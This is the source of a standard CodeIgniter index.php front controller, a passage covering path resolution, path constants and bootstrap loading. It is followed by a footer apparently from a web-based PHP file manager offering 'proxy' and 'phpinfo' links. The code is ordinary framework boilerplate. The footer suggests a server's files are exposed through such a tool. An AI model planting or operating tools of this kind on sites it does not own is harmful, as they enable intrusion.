''; // The controller class file name. Example: mycontroller // $routing['controller'] = ''; // The controller function you wish to be called. // $routing['function'] = ''; /* * ------------------------------------------------------------------- * CUSTOM CONFIG VALUES * ------------------------------------------------------------------- * * The $assign_to_config array below will be passed dynamically to the * config class when initialized. This allows you to set custom config * items or override any default config values found in the config.php file. * This can be handy as it permits you to share one application between * multiple front controller files, with each file containing different * config values. * * Un-comment the $assign_to_config array below to use this feature */ // $assign_to_config['name_of_config_item'] = 'value of config item'; // -------------------------------------------------------------------- // END OF USER CONFIGURABLE SETTINGS. DO NOT EDIT BELOW THIS LINE // -------------------------------------------------------------------- /* * --------------------------------------------------------------- * Resolve the system path for increased reliability * --------------------------------------------------------------- */ // Set the current directory correctly for CLI requests if (defined('STDIN')) { chdir(dirname(__FILE__)); } if (($_temp = realpath($system_path)) !== FALSE) { $system_path = $_temp.DIRECTORY_SEPARATOR; } else { // Ensure there's a trailing slash $system_path = strtr( rtrim($system_path, '/\\'), '/\\', DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR ).DIRECTORY_SEPARATOR; } // Is the system path correct? if ( ! is_dir($system_path)) { header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'Your system folder path does not appear to be set correctly. Please open the following file and correct this: '.pathinfo(__FILE__, PATHINFO_BASENAME); exit(3); // EXIT_CONFIG } /* * ------------------------------------------------------------------- * Now that we know the path, set the main path constants * ------------------------------------------------------------------- */ // The name of THIS file define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // Path to the system directory define('BASEPATH', $system_path); // Path to the front controller (this file) directory define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); // Name of the "system" directory define('SYSDIR', basename(BASEPATH)); // The path to the "application" directory if (is_dir($application_folder)) { if (($_temp = realpath($application_folder)) !== FALSE) { $application_folder = $_temp; } else { $application_folder = strtr( rtrim($application_folder, '/\\'), '/\\', DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR ); } } elseif (is_dir(BASEPATH.$application_folder.DIRECTORY_SEPARATOR)) { $application_folder = BASEPATH.strtr( trim($application_folder, '/\\'), '/\\', DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR ); } else { header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'Your application folder path does not appear to be set correctly. Please open the following file and correct this: '.SELF; exit(3); // EXIT_CONFIG } define('APPPATH', $application_folder.DIRECTORY_SEPARATOR); // The path to the "views" directory if ( ! isset($view_folder[0]) && is_dir(APPPATH.'views'.DIRECTORY_SEPARATOR)) { $view_folder = APPPATH.'views'; } elseif (is_dir($view_folder)) { if (($_temp = realpath($view_folder)) !== FALSE) { $view_folder = $_temp; } else { $view_folder = strtr( rtrim($view_folder, '/\\'), '/\\', DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR ); } } elseif (is_dir(APPPATH.$view_folder.DIRECTORY_SEPARATOR)) { $view_folder = APPPATH.strtr( trim($view_folder, '/\\'), '/\\', DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR ); } else { header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'Your view folder path does not appear to be set correctly. Please open the following file and correct this: '.SELF; exit(3); // EXIT_CONFIG } define('VIEWPATH', $view_folder.DIRECTORY_SEPARATOR); /* * -------------------------------------------------------------------- * LOAD THE BOOTSTRAP FILE * -------------------------------------------------------------------- * * And away we go... */ require_once BASEPATH.'core/CodeIgniter.php';
| ver. 1.4 |
Github
|
.
| PHP 7.2.34 | Generation time: 0.46 |
proxy
|
phpinfo
|
Settings